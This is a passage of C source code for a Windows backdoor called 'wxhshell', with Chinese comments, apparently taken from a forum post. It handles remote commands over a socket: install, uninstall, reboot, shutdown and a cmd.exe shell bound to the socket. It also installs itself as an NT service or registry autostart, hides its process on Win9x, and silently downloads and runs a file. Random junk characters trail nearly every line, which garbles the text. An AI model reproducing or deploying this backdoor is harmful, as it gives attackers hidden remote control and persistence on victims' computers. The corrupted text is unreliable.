      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _n{6/  
    break; Cst> 'g-yB  
  } /(nA)V( :  
  // 安装  U\~[  
  case 'i': {  OkO"t  
    if(Install()) <`9:hPp0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \rf1#Em  
    else t>v']a +k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EH$wW l^  
    break; h OboM3_  
    } qwaw\vOA  
  // 卸载 4p~:(U[q  
  case 'r': { L4;n$=e  
    if(Uninstall()) 2s6Hr;^w.1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {_/6,22j(V  
    else I>-jKSkwc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ( |5g`JDG  
    break; q#Qr@Jf  
    } GW{Nc !)  
  // 显示 wxhshell 所在路径 Gf'V68,l$  
  case 'p': { xI~\15PhG  
    char svExeFile[MAX_PATH]; =4MiV]  
    strcpy(svExeFile,"\n\r"); FM7N|] m  
      strcat(svExeFile,ExeFile); hoeTJ/;dm  
        send(wsh,svExeFile,strlen(svExeFile),0); <ZrZSt+<  
    break; +V8yv-/{  
    } 3P6!j  
  // 重启 "5jZS6A]  
  case 'b': { R4JO)<'K&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); l>&)_:\  
    if(Boot(REBOOT)) a4: PufS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *G~c6B Z  
    else { d*>M<6b-  
    closesocket(wsh); n(f&uV_):  
    ExitThread(0); a3lo;Cfp  
    } :({lXGc}4?  
    break; p-; ]O~^  
    } % e1vq  
  // 关机 x{ZVq 4  
  case 'd': { uX0wg  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); cdIy[ 1  
    if(Boot(SHUTDOWN)) ohM'Fx"q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;. :UfW  
    else { @,aL'2G  
    closesocket(wsh); T)Nis~  
    ExitThread(0); >v<}$v6D~  
    } ,.}PZL  
    break; uV 6f~cQ  
    } G(0 bulq  
  // 获取shell j^!J: Bj  
  case 's': { ) L{Tn 8  
    CmdShell(wsh); {U(h]'  
    closesocket(wsh); S5Px9&N8(  
    ExitThread(0); 4GHIRH C%[  
    break; t583Q/1@  
  } @e0 Q+t  
  // 退出 $0W0+A$  
  case 'x': { 'b^:"\t'Rh  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Io"=X! k  
    CloseIt(wsh); UU ,)z  
    break; $z,bA*j9  
    } -owfuS?i=  
  // 离开 gCm?nb)  
  case 'q': { Xs`:XATb/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ev guw*u  
    closesocket(wsh); yauP j&^R  
    WSACleanup(); &'](T9kg=  
    exit(1); Nm081ic2<  
    break; gaCGU<L  
        } ckP3[@Su {  
  } ca-n:1  
  } u('OHPqq  
ntkinbbD  
  // 提示信息 bA^a@ lv a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); z vYDE]  
} 7kwG_0QO  
  } T i/iD2g  
(7wR*vO^  
  return; e-K8K+7  
} q-3KF  
<|`@K| N  
// shell模块句柄 EqmJXDm  
int CmdShell(SOCKET sock) BxT~1SBFq  
{ N7jRdT2k%  
STARTUPINFO si; Cg|uHI*  
ZeroMemory(&si,sizeof(si)); 88*RlxU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d!LV@</  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <V8i>LBlz  
PROCESS_INFORMATION ProcessInfo; &sNID4FR  
char cmdline[]="cmd"; aw4+1.xy  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); T8(wzs  
  return 0; ^+wzm2i  
} t/D Q<B_  
]`kvq0Gyb  
// 自身启动模式 gdZVc9 _  
int StartFromService(void) i;xMf5Jz  
{ E0h p%:  
typedef struct s*X\%!l9  
{ &B85;  
  DWORD ExitStatus; v}Nx*%  
  DWORD PebBaseAddress; $^XPk#$m  
  DWORD AffinityMask; $P@cS1sB  
  DWORD BasePriority; } 2.}fHb2  
  ULONG UniqueProcessId; 3"hR:'ts  
  ULONG InheritedFromUniqueProcessId; .#eXNyCe  
}   PROCESS_BASIC_INFORMATION; hpyre B  
S p )}  
PROCNTQSIP NtQueryInformationProcess; (qP$I:Q4]v  
R _Y&Y-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 5q#|sVT7R  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :V2 Q n-N  
prs<ZxbQb  
  HANDLE             hProcess; Xda<TX@-  
  PROCESS_BASIC_INFORMATION pbi; iHn]yv3 #  
wEbs E<</  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eEh0T %9K  
  if(NULL == hInst ) return 0; -:>#w`H  
7EO&:b]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); DnFl*T>  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Os!22 O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >PVi 3S  
@[RY8~  
  if (!NtQueryInformationProcess) return 0; *Kkw,qp/  
'nS3o.}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 6V?RES;X  
  if(!hProcess) return 0; XOwMT,=Z)  
"poTM[]tZ7  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; xwxjj  
z{jAt6@7  
  CloseHandle(hProcess); D5b _m|7%  
c]r|I %D  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); PPO<{  
if(hProcess==NULL) return 0; g DG m32  
NGs9Jke2  
HMODULE hMod; oI~Qo*4eh  
char procName[255]; 90ag!   
unsigned long cbNeeded; jq)|7_N  
P0(~~z&%[  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); PZR%8 m}]u  
@R&D["!  
  CloseHandle(hProcess); |Z^g\l.j{  
7uxPkZbb  
if(strstr(procName,"services")) return 1; // 以服务启动 rM=A"  
CEq]B:[IC  
  return 0; // 注册表启动 Kc\'s65.]  
} {:X];A$  
]e~^YZOs  
// 主模块 TkoXzG8yE<  
int StartWxhshell(LPSTR lpCmdLine) ;_a oM&  
{ 1@S6[&_  
  SOCKET wsl; RT"2Us]*  
BOOL val=TRUE; XL=R]IC<.  
  int port=0; :t S"sM  
  struct sockaddr_in door; WG luY>C;  
ee^_Dh4  
  if(wscfg.ws_autoins) Install(); :*'?Ac ?  
:+Ax3  
port=atoi(lpCmdLine); gtGKV  
aQ:f"0fL  
if(port<=0) port=wscfg.ws_port; )o</gt)  
z 2VCK@0  
  WSADATA data; 32LB*zc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; <&%1pZ/6.  
.l5" X>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   08?MS_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SvP\JQ<c  
  door.sin_family = AF_INET; k1U8wdoT  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); J_E(^+  
  door.sin_port = htons(port); f}Tr$r  
KBq aI((  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *b{lL5  
closesocket(wsl); %*q0+_  
return 1; qg{<&V7fE  
} u=}bq{  
o[[r_v_d  
  if(listen(wsl,2) == INVALID_SOCKET) { I*S`I|{J  
closesocket(wsl); 3ZlGbP#3w  
return 1; @dCPa7:>&  
} _xg VuJ   
  Wxhshell(wsl); 7XWBI\SW  
  WSACleanup(); ~y H>Ko9F}  
a`~eC)T  
return 0; H!.D2J   
%e7(HfW-U  
} L(n/uQ :  
51 +M_ ~  
// 以NT服务方式启动 i!$^NIcJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nWF4[<t  
{ UZ\*]mxT  
DWORD   status = 0; kF,\bM  
  DWORD   specificError = 0xfffffff; y2$;t'  
Cm;qDvj+u  
  serviceStatus.dwServiceType     = SERVICE_WIN32; )USC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]z=Vc#+!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?g;ZbD  
  serviceStatus.dwWin32ExitCode     = 0; 3!9 yuf  
  serviceStatus.dwServiceSpecificExitCode = 0; IPR tm!  
  serviceStatus.dwCheckPoint       = 0; B4:l*P'  
  serviceStatus.dwWaitHint       = 0; 5Vo}G %g  
;;'a--'"  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Ji:iKkI  
  if (hServiceStatusHandle==0) return; 4<Sa,~4  
7 Y>`-\  
status = GetLastError(); MR_bq_)  
  if (status!=NO_ERROR) RjGB#AK  
{ :-\ yy  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; %^5@z1d,  
    serviceStatus.dwCheckPoint       = 0; >`<2}Me6  
    serviceStatus.dwWaitHint       = 0; iqednk%  
    serviceStatus.dwWin32ExitCode     = status; [x<6v}fRn  
    serviceStatus.dwServiceSpecificExitCode = specificError; OW^2S_H5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); hJ[mf1je=  
    return; R=?po=  
  } "c/s/$k//  
Ryq"\Q>+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING;  4SffP/  
  serviceStatus.dwCheckPoint       = 0; -yAnn  
  serviceStatus.dwWaitHint       = 0; f3TlJ!!U  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K>cz63}S  
} ;\.JV '  
$'knK<  
// 处理NT服务事件,比如:启动、停止 x]R(twi  
VOID WINAPI NTServiceHandler(DWORD fdwControl) T6I%FXm}  
{ 4,U}Am1Q  
switch(fdwControl) /Fo/_=FE2  
{ C. Ja;RFq  
case SERVICE_CONTROL_STOP: O GFE*  
  serviceStatus.dwWin32ExitCode = 0; ~` \9Q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; xe6_RO%  
  serviceStatus.dwCheckPoint   = 0; %+xwk=%*  
  serviceStatus.dwWaitHint     = 0; 5M Wvu,'%8  
  { nSxb-Ce  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); hyOm9WU  
  } .i+* #djx  
  return; @v ~ Pwr!  
case SERVICE_CONTROL_PAUSE: <m>l-]  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; PNJe&q0*  
  break; f>8B'%]  
case SERVICE_CONTROL_CONTINUE: -H4+ur JJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; =\Vu=I  
  break; O*rmD<L$  
case SERVICE_CONTROL_INTERROGATE: v<%kd[N  
  break; ^'7C0ps+A  
}; \+{t4Im  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r9] rN  
} v : "m  
fi&uB9hc  
// 标准应用程序主函数 c3V]'~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2>$F0 M  
{ XD^ dlL  
_;e!ZZLG  
// 获取操作系统版本 fQQsb 5=i  
OsIsNt=GetOsVer(); "X5_-l  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6)wy^a|pb  
i-k >U}[%  
  // 从命令行安装 t$K@%yU2  
  if(strpbrk(lpCmdLine,"iI")) Install(); SH vaV[C  
;vJ\]T ml  
  // 下载执行文件 2Io6s '  
if(wscfg.ws_downexe) { v\ %B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) rv}mD  
  WinExec(wscfg.ws_filenam,SW_HIDE); 6QII&Fg  
} U=kx`j>  
~M ,{ _  
if(!OsIsNt) { "]T$\PJun  
// 如果时win9x,隐藏进程并且设置为注册表启动 \TbsoWX  
HideProc(); _r\$NgJIM  
StartWxhshell(lpCmdLine); ~!ZmF(:  
} P{S\pWZkk  
else K$GRJ  
  if(StartFromService()) ^qeY9O  
  // 以服务方式启动 (T|TEt  
  StartServiceCtrlDispatcher(DispatchTable); i*S|qX7``  
else c~^CKgr~R9  
  // 普通方式启动 H|;*_  
  StartWxhshell(lpCmdLine); 4mN].X[,  
X*!Dc,0.k  
return 0; w; 4jx(  
}
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只看该作者 1 发表于: 2006-10-10
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